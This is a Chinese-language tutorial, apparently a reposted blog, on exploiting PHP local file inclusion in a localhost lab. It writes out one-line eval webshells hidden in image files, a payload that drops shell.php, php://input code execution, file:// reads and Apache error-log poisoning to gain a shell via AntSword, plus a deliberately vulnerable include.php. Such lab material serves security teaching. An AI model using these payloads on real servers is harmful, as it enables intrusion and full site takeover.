文件包含漏洞的利用
读取敏感文件
我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件
目标主机文件存在(目标文件的路径、绝对路径、相对路径)
具有文件可读权限
直接包含图片木马
可以利用文件包含漏洞直接包含图片木马
- 在include文件夹下新建wx.jpg图片文件
- 点击文件右键选择属性,点击版型信息,选择版权,输入一句话木马
<?php @eval($_REQUEST[123]);?>
- 继续输入?path=./wx.jpg&123=print(md5(123456));,我们发现一句话木马能够输出md5值
- 复制URL通过包含的方式连接中国蚁剑。打开蚁剑,右键添加数据,如下图所示,测试连接成功
包含木马写shell
我们也可以将如下代码写入到图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。
- 在include目录下,复制wx.jpg,重命名为wx_fputs.jpg,通过notepad++打开该文件,随便一行插入代码<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
- 之后打开浏览器正常访问http://localhost/include/wx_fputs.jpg,页面显示如下
- 随即发现在include文件夹中有个新建文件shell.php,即可用蚁剑连接
PHP封装协议--访问本地文件
我们可以使用php的file协议访问本地系统文件,输入访问http://localhost/include/include.php?path=file://C:\windows\system32\drivers\etc\hosts
tips:我们发现file协议与读取敏感文件中的读取本地host文件的方式是一样的,只是在前面加了file://
PHP封装协议--传输PHP文件
我们可以使用以下参数来传送任意PHP文件(也就是利用文件包含漏洞来传输php文件)。
- 打开burp点击decoder模块进行转码(tips:可以通过这种方法获取网站源代码)
PHP封装协议--执行PHP命令
我们还可以利用PHP的封装协议来执行PHP命令
- 打开burp,点击repeater模块
- 直接输入参数?path=php://input,在后面直接写上<?php phpinfo();?>,点击send(tips:我们发现可以执行任意的php代码)
注意:远程文件包含默认情况下都是关闭的,传输php文件和执行php命令这两种方法有两种用途:
是用来打cdf的
是持久控制的php后门
那么已知一个网站存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?
经典面试题
包含日志文件getshell
实验背景
在上文提到过:已知一个网站且仅存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?
实验目的
利用本地文件包含漏洞GetShell
实验前准备
- 查看php版本,修改其配置,找到php-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。
- 在该网站根目录下,新建文件FileInclusion,在此文件夹中新建文件include.php,文件内容为
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
实验步骤
由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,就是从日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:
- 将访问include.php页面的URL链接http://127.0.0.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。
- 在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击send,可以看到响应报错
- 服务器在请求报错后,在错误日志中就会增加一条响应记录。我们打开Apache的错误日志,路径为D:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行
- 打开中国蚁剑连接。打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://127.0.0.1/FileInclusion/include.php?path=D:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。
- 添加在软件主界面可以看到新添加的内容,双击即可管理服务器
tips:
利用一切可能让服务器本地某个文件中含有一句话木马
第二步文件包含之让代码执行
如果网站存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用网站远程文件包含该文件,并不能Get网站Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。
扩展:
包含session文件,造成sessionId泄露
metinfo5.0.4文件包含漏洞代码审计
版权归原作者 百事都可樂. 所有, 如有侵权,请联系我们删除。